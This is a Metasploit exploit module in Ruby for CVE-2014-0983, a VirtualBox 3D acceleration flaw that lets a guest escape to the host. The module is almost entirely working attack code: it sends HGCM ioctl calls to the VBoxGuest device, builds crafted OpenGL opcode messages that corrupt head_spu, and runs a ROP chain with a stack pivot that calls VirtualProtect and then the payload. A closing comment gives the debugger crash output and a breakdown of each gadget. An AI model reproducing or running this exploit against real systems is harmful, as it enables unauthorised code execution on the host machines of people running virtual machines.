VirtualBox 3D Acceleration Virtual Machine Escape

                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'rex'
 
class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking
 
  DEVICE               = '\\\\.\\VBoxGuest'
  INVALID_HANDLE_VALUE = 0xFFFFFFFF
 
  # VBOX HGCM protocol constants
  VBOXGUEST_IOCTL_HGCM_CONNECT    = 2269248
  VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252
  VBOXGUEST_IOCTL_HGCM_CALL       = 2269256
  CONNECT_MSG_SIZE                = 140
  DISCONNECT_MSG_SIZE             = 8
  SET_VERSION_MSG_SIZE            = 40
  SET_PID_MSG_SIZE                = 28
  CALL_EA_MSG_SIZE                = 40
  VERR_WRONG_ORDER                = 0xffffffea
  SHCRGL_GUEST_FN_SET_PID         = 12
  SHCRGL_CPARMS_SET_PID           = 1
  SHCRGL_GUEST_FN_SET_VERSION     = 6
  SHCRGL_CPARMS_SET_VERSION       = 2
  SHCRGL_GUEST_FN_INJECT          = 9
  SHCRGL_CPARMS_INJECT            = 2
  CR_PROTOCOL_VERSION_MAJOR       = 9
  CR_PROTOCOL_VERSION_MINOR       = 1
  VMM_DEV_HGCM_PARM_TYPE_32_BIT   = 1
  VMM_DEV_HGCM_PARM_TYPE_64_BIT   = 2
  VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5
 
  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'VirtualBox 3D Acceleration Virtual Machine Escape',
      'Description'    => %q{
        This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The
        vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
        sequence of specially crafted of rendering messages, a virtual machine can exploit an out
        of bounds array access to corrupt memory and escape to the host. This module has been
        tested successfully on Windows 7 SP1 (64 bits) as Host running  Virtual Box 4.3.6.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Francisco Falcon', # Vulnerability Discovery and PoC
          'Florian Ledoux', # Win 8 64 bits exploitation analysis
          'juan vazquez' # MSF module
        ],
      'Arch'           => ARCH_X86_64,
      'Platform'       => 'win',
      'SessionTypes'   => ['meterpreter'],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Targets'        =>
        [
          [ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)',
            {
              :messages => :target_virtualbox_436_win7_64
            }
          ]
        ],
      'Payload'        =>
        {
          'Space'       => 7000,
          'DisableNops' => true
        },
      'References'     =>
        [
          ['CVE', '2014-0983'],
          ['BID', '66133'],
          ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'],
          ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'],
          ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php']
        ],
      'DisclosureDate' => 'Mar 11 2014',
      'DefaultTarget'  => 0
    }))
 
  end
 
  def open_device
    r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
 
    handle = r['return']
 
    if handle == INVALID_HANDLE_VALUE
      return nil
    end
 
    return handle
  end
 
  def send_ioctl(ioctl, msg)
    result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")
 
    if result["GetLastError"] != 0
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end
 
    unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end
 
    unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
      unless result["ErrorMessage"].blank?
        vprint_error("#{result["ErrorMessage"]}")
      end
      return nil
    end
 
    result
  end
 
  def connect
    msg = "\x00" * CONNECT_MSG_SIZE
 
    msg[4, 4] = [2].pack("V")
    msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL"
 
    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg)
 
    if result.nil?
      return result
    end
 
    client_id = result["lpOutBuffer"][136, 4].unpack("V").first
 
    client_id
  end
 
  def disconnect
    msg = "\x00" * DISCONNECT_MSG_SIZE
 
    msg[4, 4] = [@client_id].pack("V")
 
    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg)
 
    result
  end
 
  def set_pid(pid)
    msg = "\x00" * SET_PID_MSG_SIZE
 
    msg[0, 4]  = [VERR_WRONG_ORDER].pack("V")
    msg[4, 4]  = [@client_id].pack("V")  # u32ClientID
    msg[8, 4]  = [SHCRGL_GUEST_FN_SET_PID].pack("V")
    msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V")
    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V")
    msg[20, 4] = [pid].pack("V")
 
    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
 
    result
  end
 
  def set_version
    msg = "\x00" * SET_VERSION_MSG_SIZE
 
    msg[0, 4]  = [VERR_WRONG_ORDER].pack("V")
    msg[4, 4]  = [@client_id].pack("V") # u32ClientID
    msg[8, 4]  = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
    msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
    msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
    msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
    msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
 
    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
 
    result
  end
 
  def trigger(buff_addr, buff_length)
    msg = "\x00" * CALL_EA_MSG_SIZE
 
    msg[4, 4] = [@client_id].pack("V")  # u32ClientID
    msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V")
    msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V")
    msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
    msg[20, 4] = [@client_id].pack("V") # u32ClientID
    msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V")
    msg[32, 4] = [buff_length].pack("V") # size_of(buf)
    msg[36, 4] = [buff_addr].pack("V") # (buf)
 
    result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
 
    result
  end
 
  def stack_adjustment
    pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00"  # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB
    pivot << "\x89\xc4"                         # mov esp, eax                 # Store stack bottom in esp
    pivot << "\x81\xC4\x30\xF8\xFF\xFF"         # add esp, -2000               # Plus a little offset...
 
    pivot
  end
 
  def target_virtualbox_436_win7_64(message_id)
    opcodes = [0xFF, 0xea, 0x02, 0xf7]
 
    opcodes_hdr = [
      0x77474c01,    # type CR_MESSAGE_OPCODES
      0x8899,        # conn_id
      opcodes.length # numOpcodes
    ]
 
    if message_id == 2
      # Message used to achieve Code execution
      # See at the end of the module for a better description of the ROP Chain,
      # or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php
      # All gadgets from VBoxREM.dll
      opcodes_data = [0x8, 0x30, 0x331].pack("V*")
 
      opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret
      opcodes_data << [112].pack("Q<") # RDX
      opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret
      opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret
      opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret
      opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret
      opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect)
      opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp
      opcodes_data << Rex::Text.pattern_create(80)
      opcodes_data << [0].pack("Q<")          # 1st arg (lpAddress) # chain will store stack address here
      opcodes_data << Rex::Text.pattern_create(104 - 80 - 8)
      opcodes_data << [0x2000].pack("Q<")     # 2nd arg (dwSize)
      opcodes_data << Rex::Text.pattern_create(140 - 104 - 8)
      opcodes_data << [0x40].pack("V")        # 3rd arg (flNewProtect)
      opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64)
      opcodes_data << [0x6A70BB20].pack("V")  # ptr to jmp VirtualProtect instr.
      opcodes_data << "A" * 8
      opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9
      opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10
      opcodes_data << "\xe9\x5b\x02\x00\x00"  # jmp $+608
      opcodes_data << "A" * (624 - 24 - 5)
      opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot
      opcodes_data << stack_adjustment
      opcodes_data << payload.encoded
      opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length)
    else
      # Message used to corrupt head_spu
      # 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data
      # 8196 => On my tests, this data size allows to keep the memory
      # not reused until the second packet arrives. The second packet,
      # of course, must have 8196 bytes length too. So this memory is
      # reused and code execution can be accomplished.
      opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*")
      opcodes_data << "B" * (8196 - opcodes_data.length)
    end
 
    msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data
 
    msg
  end
 
  def send_opcodes_msg(process, message_id)
    msg = self.send(target[:messages], message_id)
 
    mem = process.memory.allocate(msg.length + (msg.length % 1024))
 
    process.memory.write(mem, msg)
 
    trigger(mem, msg.length)
  end
 
  def check
    handle = open_device
    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)
 
    Exploit::CheckCode::Detected
  end
 
  def exploit
    unless self.respond_to?(target[:messages])
      print_error("Invalid target specified: no messages callback function defined")
      return
    end
 
    print_status("Opening device...")
    @handle = open_device
    if @handle.nil?
      fail_with(Failure::NoTarget, "#{DEVICE} device not found")
    else
      print_good("#{DEVICE} found, exploiting...")
    end
 
    print_status("Connecting to the service...")
    @client_id = connect
    if @client_id.nil?
      fail_with(Failure::Unknown, "Connect operation failed")
    end
 
    print_good("Client ID #{@client_id}")
 
    print_status("Calling SET_VERSION...")
    result = set_version
    if result.nil?
      fail_with(Failure::Unknown, "Failed to SET_VERSION")
    end
 
    this_pid = session.sys.process.getpid
    print_status("Calling SET_PID...")
    result = set_pid(this_pid)
    if result.nil?
      fail_with(Failure::Unknown, "Failed to SET_PID")
    end
 
    this_proc = session.sys.process.open
    print_status("Sending First 0xEA Opcode Message to control head_spu...")
    result = send_opcodes_msg(this_proc, 1)
    if result.nil?
      fail_with(Failure::Unknown, "Failed to control heap_spu...")
    end
 
    print_status("Sending Second 0xEA Opcode Message to execute payload...")
    @old_timeout = session.response_timeout
    session.response_timeout = 5
    begin
      send_opcodes_msg(this_proc, 2)
    rescue Rex::TimeoutError
      vprint_status("Expected timeout in case of successful exploitation")
    end
  end
 
  def cleanup
    unless @old_timeout.nil?
      session.response_timeout = @old_timeout
    end
 
    if session_created?
      # Unless we add CoE there is nothing to do
      return
    end
 
    unless @client_id.nil?
      print_status("Disconnecting from the service...")
      disconnect
    end
 
    unless @handle.nil?
      print_status("Closing the device...")
      session.railgun.kernel32.CloseHandle(@handle)
    end
  end
 
end
 
=begin
 
* VirtualBox 4.3.6 / Windows 7 SP1 64 bits
 
Crash after second message:
 
0:013> dd rax
00000000`0e99bd44  41306141 61413161 33614132 41346141
00000000`0e99bd54  61413561 37614136 41386141 62413961
00000000`0e99bd64  31624130 41326241 62413362 35624134
00000000`0e99bd74  41366241 62413762 39624138 41306341
00000000`0e99bd84  63413163 33634132 41346341 63413563
00000000`0e99bd94  37634136 41386341 64413963 31644130
00000000`0e99bda4  41326441 64413364 35644134 41366441
00000000`0e99bdb4  64413764 39644138 41306541 65413165
0:013> r
rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba
rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000
rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled...
 r8=0000000000000001  r9=00000000000005c0 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff
r14=000007fef1f90000 r15=0000000002f6e280
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
VBoxSharedCrOpenGL!crServerAddNewClient+0x208:
000007fe`f12797f8 ff9070030000    call    qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541
 
Gadget 1: Stack Pivot # 0x6a682a2a
 
 xchg    eax,esp    94
 ret                c3
 
Gadget 2: Control RDX value # 0x6a68599a
 
 pop rdx                    5a
 xor ecx,dword ptr [rax]    33 08
 add cl,cl                  00 c9
 movzx eax,al               0f b6 c0
 ret                        c3
 
Gadget 3: Store ptr to RSP in RAX # 0x6a70a560
 
 lea rax,[rsp+8]            48 8d 44 24 08
 ret                        c3
 
Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c
 
 lea rax,[rdx+rax]          48 8d 04 02
 ret                        c3
 
Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6
 
 add dword ptr [rax],eax    01 00
 add cl,cl                  00 c9
 ret                        c3
 
Gadget 6: Control R12 # 0x6a68124e
 
pop r12
ret
 
Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d
 
 mov r9,r12                   4d 89 e1
 mov r8d,dword ptr [rsp+8Ch]  44 8b 84 24 8c 00 00 00
 mov rdx,qword ptr [rsp+68h]  48 8b 54 24 68
 mov rcx,qword ptr [rsp+50h]  48 8b 4c 24 50
 call rbp                     ff d5
 
Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560
 
 lea rax, [rsp+8]   48 8d 44 24 08
 ret                c3
 
 Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d
 
 push rax   50
 adc cl,ch  10 e9
 ret        c3
 
=end